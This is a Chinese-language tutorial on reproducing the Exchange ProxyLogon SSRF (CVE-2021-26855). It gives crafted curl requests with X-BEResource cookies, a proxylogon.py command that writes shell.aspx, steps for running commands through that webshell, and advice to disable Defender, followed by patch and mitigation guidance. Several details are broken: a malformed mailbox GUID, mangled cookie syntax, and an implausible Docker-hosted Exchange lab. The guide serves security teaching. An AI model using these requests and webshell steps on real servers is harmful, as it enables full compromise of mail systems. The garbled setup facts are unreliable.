1. 项目概述从“永恒之黑”到Exchange的“ProxyLogon”如果你在2021年初关注过网络安全新闻一定对“Exchange服务器被大规模攻击”的报道记忆犹新。那段时间全球数以万计的企业邮件服务器一夜之间沦为黑客的“矿机”或数据窃取的后门其始作俑者就是被称为“ProxyLogon”的攻击链而CVE-2021-26855正是这条攻击链上最关键的“敲门砖”。这个漏洞允许攻击者在未经身份验证的情况下向微软Exchange服务器发送特制的HTTP请求从而伪装成合法用户最终实现远程代码执行。它之所以危险不仅在于其利用门槛相对较低更在于它直接暴露了企业最核心的通信枢纽。今天我们就来彻底拆解这个编号为CVE-2021-26855的SSRF服务器端请求伪造漏洞从原理分析到本地复现环境搭建再到手工利用的每一个细节让你不仅看懂漏洞报告更能亲手在可控的靶场中重现攻击过程深刻理解其危害与防御之道。2. 漏洞核心原理深度剖析2.1 漏洞本质一个被“信任”的SSRFCVE-2021-26855本质上是一个服务器端请求伪造漏洞。要理解它我们得先看看Exchange的客户端访问服务Client Access Service, CAS是如何工作的。在Exchange 2013及更高版本中前端CAS代理负责处理所有入站的客户端请求如Outlook Web App, ECP, Exchange ActiveSync。当CAS收到一个请求时它需要与后端的邮箱服务器Mailbox Server通信以完成实际的操作。为了实现高效的身份验证和请求转发CAS会使用一个名为X-CommonAccessToken的特殊HTTP头。这个令牌由CAS在验证用户身份后生成并传递给后端服务器。后端服务器看到这个令牌就认为请求已经通过了前端的认证从而信任该请求。漏洞就出在这个信任机制上。攻击者可以构造一个特殊的HTTP请求直接发送给Exchange服务器的前端。这个请求会欺骗CAS让它误以为这是一个需要转发到后端特定URL的请求并且CAS会“好心”地为这个请求自动生成一个有效的X-CommonAccessToken。关键在于攻击者可以完全控制这个要转发的目标URL。于是CAS就成为了攻击者的“代理”带着一个合法的身份令牌去访问后端服务器上的任意内部端点。一个生活化的类比想象公司前台CAS有一条规定凡是持有部门经理已验证用户签字的内部联络单X-CommonAccessToken前台都会无条件帮忙把文件送到公司内任何办公室后端端点。漏洞就是攻击者伪造了一张看起来需要经理签字的空白联络单递给前台。前台一看格式符合不仅没有核实签名真伪还自己主动帮攻击者签上了经理的名字然后把这张“合法”的联络单送到了攻击者指定的、本应禁止外部访问的总经理办公室。2.2 触发漏洞的关键请求漏洞触发的核心在于对/owa/auth/路径的特制请求。研究人员发现通过精心构造的URL参数可以诱导CAS进行一次SSRF请求。一个典型的恶意请求简化结构如下POST /owa/auth/Current/themes/resources/ HTTP/1.1 Host: exchange_server Cookie: X-BEResourcebackend_server/EWS/Exchange.asmx?a~1942062522; ...关键在于Cookie头中的X-BEResource参数。这个参数原本用于指定后端资源但攻击者可以将其值设置为指向本地回环地址localhost或127.0.0.1上任意端点的URL。由于CAS对X-BEResource的验证逻辑存在缺陷它会信任这个值并试图将请求代理到http://127.0.0.1/任意路径。更重要的是在这个过程中CAS会自动附上有效的X-CommonAccessToken。注意在实际利用中X-BEResource的构造非常讲究需要包含一个特定的查询参数如?a~1942062522来匹配内部路由逻辑从而绕过某些检查。这是该漏洞利用的一个技术难点也是众多公开PoC概念验证代码的核心。2.3 从SSRF到RCE漏洞链的形成单独一个CVE-2021-26855SSRF并不能直接获取服务器权限。它的威力在于为后续攻击铺平了道路是“ProxyLogon”攻击链的第一步CVE-2021-26855 (SSRF)攻击者利用此漏洞以NT AUTHORITY\SYSTEM等高权限身份通过CAS代理向本地后端服务发送请求。CVE-2021-26857, 26858, 27065 (反序列化/文件写入)利用第一步获取的权限和访问能力攻击者再结合其他几个漏洞主要涉及Exchange Control Panel (ECP)组件中的不安全反序列化和任意文件写入将恶意Web Shell如.aspx文件写入服务器可访问的Web路径。获取控制权写入的Web Shell允许攻击者在服务器上远程执行命令从而完全控制Exchange服务器。因此分析CVE-2021-26855必须将其置于这个攻击链的入口位置来理解。它打开了那扇“信任之门”让后续的所有攻击成为可能。3. 复现环境搭建与配置郑重声明本节所有操作仅限在您个人完全可控的、隔离的实验室环境如本地虚拟机中进行。任何对非授权系统的测试均属违法行为。3.1 环境准备构建靶场为了安全地复现该漏洞我们需要一个包含漏洞版本的Exchange服务器。最便捷的方法是使用预构建的漏洞靶场环境。方案一使用Vulhub靶场推荐Vulhub是一个开源的漏洞环境集合提供了docker-compose编排的一键搭建。安装Docker与docker-compose确保你的Linux或Windows WSL2系统已安装最新版Docker和docker-compose。获取Vulhubgit clone https://github.com/vulhub/vulhub.git cd vulhub/exchange/CVE-2021-26855启动环境docker-compose up -d这个命令会自动拉取包含Exchange 2019 CU8受漏洞影响版本的Docker镜像并启动。启动过程较慢需要耐心等待数分钟直到所有服务就绪。方案二手动部署Windows Server与Exchange更贴近真实场景但耗时耗力。准备一台Windows Server 2019虚拟机至少8GB内存100GB磁盘。安装IIS、 .NET Framework 4.8等必要组件。下载并安装Exchange Server 2019 Cumulative Update 8或受影响的早期版本。配置邮箱数据库和基本服务。实操心得对于漏洞学习复现强烈推荐Vulhub方案。它避免了复杂的Windows环境配置和庞大的Exchange安装过程能将精力聚焦在漏洞原理和利用上。手动部署更适合需要研究Exchange内部交互或防御绕过的深度场景。3.2 工具准备利用脚本与检测工具我们需要专门的工具来发送构造好的漏洞利用请求。ProxyLogon漏洞利用脚本GitHub上有多个开源项目例如proxylogon.py或集成在ProxyLogon项目中的脚本。这些Python脚本封装了复杂的HTTP请求构造过程。git clone https://github.com/Ridter/proxylogon.git cd proxylogon # 查看脚本用法 python proxylogon.py -hHTTP代理工具 (Burp Suite / Fiddler)用于拦截、查看和重放HTTP请求是分析漏洞触发流量细节的必备工具。建议使用Burp Suite Community版。Curl命令用于手动测试和发送单个请求验证漏洞是否存在。4. 手工漏洞复现与利用步骤我们将按照攻击链的逻辑从检测到利用一步步手工复现。4.1 第一步漏洞存在性检测在发起实际攻击前先验证目标是否存在CVE-2021-26855漏洞。核心原理是尝试利用SSRF让Exchange服务器访问一个不存在的内部端口通过返回的错误信息差异来判断。手工检测方法使用curl发送一个特制的请求尝试让服务器访问127.0.0.1的一个随机高端口如44444。curl -k -i -s -X POST https://靶场IP/owa/auth/Current/themes/resources \ -H Cookie: X-BEResource127.0.0.1:44444/autodiscover/autodiscover.xml?a~1942062522; \ -H Content-Length: 0关键点解析-k: 忽略SSL证书验证靶场常使用自签名证书。-X POST: 使用POST方法。Cookie头中的X-BEResource这是漏洞利用的关键值指向127.0.0.1:44444。Content-Length: 0: 请求体为空。结果分析存在漏洞如果服务器返回500 Internal Server Error或包含NegotiateSecurityContext等身份验证相关的错误信息说明CAS尝试代理请求到127.0.0.1:44444但失败了因为该端口未开放这证实了SSRF漏洞存在。不存在漏洞或已修复如果返回404 Not Found、302 Redirect到登录页或直接的401 Unauthorized则可能不存在该漏洞或已被修补。注意事项这种检测方法属于“盲SSRF”检测依赖于错误响应的差异。在真实环境中这种探测行为可能会被WAF或IDS记录。更隐蔽的检测可能需要使用DNS外带技术让服务器向一个由攻击者控制的DNS服务器发起请求从而确认漏洞。4.2 第二步利用SSRF窃取用户信息确认漏洞存在后我们可以利用这个SSRF去访问Exchange后端只有本地才能调用的API例如/mapi/emsmdb/?MailboxId端点该端点可能返回当前会话或系统信息。构造请求让CAS代理访问本地的MAPI端点curl -k -i -s -X POST https://靶场IP/owa/auth/Current/themes/resources \ -H Cookie: X-BEResource127.0.0.1:44444/mapi/emsmdb/?MailboxIdf26bc937-cf33-4c-8f-8-2e15f565ef5dexchange.lab.local;a~1942062522; \ -H Content-Type: application/x-www-form-urlencoded \ -H Content-Length: 0这里我们将X-BEResource指向了/mapi/emsmdb/。如果成功响应中可能会包含一些内部数据或错误信息这些信息有助于后续攻击。4.3 第三步结合其他漏洞写入WebShell概念演示完整的RCE需要结合CVE-2021-26857等文件写入漏洞。由于在靶场中完整复现整个链涉及多个复杂步骤我们这里描述其核心思想并使用自动化脚本演示。核心思想利用CVE-2021-26855的SSRF以高权限身份访问ECPExchange Control Panel的后端组件。通过ECP组件中存在的反序列化漏洞CVE-2021-26857上传一个特制的数据其中包含我们要写入的Web Shell内容一段恶意的ASPX代码。指定Web Shell写入的路径通常是Exchange Web可访问的目录如C:\inetpub\wwwroot\aspnet_client\下的某个文件例如shell.aspx。使用自动化脚本演示 我们使用之前克隆的proxylogon.py脚本假设脚本功能完整。python proxylogon.py -t https://靶场IP -u administrator -p 密码 --write-shell脚本内部大致做了以下工作-t: 指定目标Exchange服务器地址。-u/-p: 实际上在ProxyLogon攻击链的某些环节可能需要一个有效的低权限用户凭据来完成部分操作如触发ECP逻辑但初始的SSRF不需要。--write-shell: 指示脚本执行完整的攻击链最终写入Web Shell。执行成功后脚本会输出写入的Web Shell访问地址例如https://靶场IP/aspnet_client/shell.aspx。重要警告此步骤会实际在服务器上创建文件。仅在你自己搭建的、完全隔离的靶场虚拟机或Docker容器中进行测试。测试完成后应立即关闭或重置靶场环境。4.4 第四步验证利用成果如果Web Shell写入成功我们可以通过浏览器或curl访问它来验证。访问Web Shell在浏览器中打开https://靶场IP/aspnet_client/shell.aspx。一个简单的Web Shell页面通常会有一个输入框让你执行系统命令。执行命令在输入框中尝试输入whoami或ipconfig点击执行。如果返回了命令执行结果例如用户为NT AUTHORITY\SYSTEM则证明远程代码执行成功漏洞复现完成。5. 漏洞修复与防御建议5.1 官方修复方案微软在2021年3月发布了针对“ProxyLogon”攻击链的紧急安全更新Security Updates。所有受支持的Exchange Server版本都必须立即安装。Exchange Server 2019安装 Cumulative Update (CU) 9 及更高版本的安全更新。Exchange Server 2016安装 CU 20 及更高版本的安全更新。Exchange Server 2013安装 CU 23 及更高版本的安全更新。修复操作步骤立即更新从微软官方渠道下载并安装对应版本的安全更新包。运行健康检查脚本微软发布了名为“Exchange Server Health Checker”的PowerShell脚本可以检查服务器是否已受攻击、是否存在后门并验证补丁安装状态。扫描IIS日志使用微软提供的“Microsoft Exchange Server On-Premises Mitigation Tool”或第三方脚本扫描IIS日志查找与ProxyLogon攻击特征匹配的痕迹。5.2 临时缓解措施如果无法立即打补丁在无法立即安装更新的极端情况下可以采取以下缓解措施但这不能替代正式补丁阻断特定URL路径在防火墙或反向代理如IIS URL Rewrite规则上阻止对以下路径的访问/owa/auth/Current/themes/resources/ecp//owa//Microsoft-Server-ActiveSync/autodiscover/注意这会严重影响正常功能仅作为应急禁用UM统一消息服务如果不需要禁用相关服务可以阻断部分利用路径。限制出站流量严格限制Exchange服务器对互联网的访问仅开放必要的端口如25 443 用于邮件流和更新。5.3 长期安全加固建议最小权限原则运行Exchange服务的账户不应具有不必要的权限。定期审查服务账户。网络分段将Exchange服务器置于内部网络区域仅将客户端访问服务器CAS角色暴露给互联网并通过防火墙严格限制对后端邮箱服务器的访问。部署WAFWeb应用防火墙在Exchange服务器前端部署WAF并配置规则拦截已知的ProxyLogon攻击特征。启用日志审计与监控详细记录IIS、Windows安全日志和Exchange审核日志。建立安全监控SIEM规则实时告警异常访问模式如大量对/owa/auth/的POST请求。定期漏洞扫描与渗透测试定期对Exchange服务器进行授权的外部漏洞扫描和渗透测试主动发现潜在风险。6. 复现过程中的常见问题与排查在搭建环境和复现漏洞时你可能会遇到以下问题6.1 环境搭建问题问题1Vulhub启动Exchange容器失败提示端口冲突。原因Exchange需要占用80、443、25等多个端口可能与宿主机或其他容器冲突。解决检查docker-compose.yml文件中的端口映射如443:443修改宿主机端口如8443:443并确保后续所有访问都使用修改后的端口。问题2访问Exchange OWA页面时证书不受信任。原因Vulhub使用的Exchange镜像是自签名证书。解决在浏览器中添加安全例外或使用curl时加上-k参数忽略证书验证。切勿在生产环境中这样做。6.2 漏洞检测与利用问题问题3使用curl检测漏洞时始终返回404或跳转到登录页。原因目标可能已安装补丁漏洞已修复。请求构造不正确特别是X-BEResource的格式或查询参数有误。Vulhub环境服务未完全启动成功。排查确认环境版本是受影响的如Exchange 2019 CU8。使用Burp Suite抓取脚本发送的成功请求与自己构造的curl命令进行逐字节对比特别注意Cookie的格式和空格。进入Docker容器检查Exchange服务IIS,MSExchange*是否全部运行正常。问题4利用脚本执行成功但无法访问写入的Web Shell。原因Web Shell写入路径不正确或不可通过Web访问。IIS应用程序池权限不足无法执行ASPX脚本。杀毒软件或Windows Defender实时保护删除了Web Shell文件。排查登录到Exchange服务器或Docker容器内检查脚本指定的路径下是否存在shell.aspx文件。检查该文件的NTFS权限确保IIS_IUSRS或应用程序池身份有读取和执行权限。临时禁用Windows Defender实时监控仅限靶场环境然后重新运行利用脚本。6.3 流量分析与调试技巧使用Burp Suite进行深度分析将浏览器或curl代理到Burp Suite。运行漏洞利用脚本在Burp的Proxy - History中查看所有发出的请求。重点关注发送到/owa/auth/Current/themes/resources的POST请求分析其Cookie头和整体结构。可以尝试在Burp的Repeater模块中手动修改请求参数观察不同参数值导致的响应变化这有助于深入理解漏洞触发条件。复现像CVE-2021-26855这样的复杂漏洞最大的收获往往不是最终弹回的那个Shell而是在搭建环境、调试脚本、分析流量、排查错误这一系列“踩坑”过程中对漏洞原理、系统架构和攻防思维产生的深刻理解。每一次请求的构造每一次错误的排查都在加深你对“信任边界”、“输入验证”和“链式攻击”这些安全核心概念的认识。在可控的环境里亲手“黑”掉一次远比读十篇分析报告来得有效。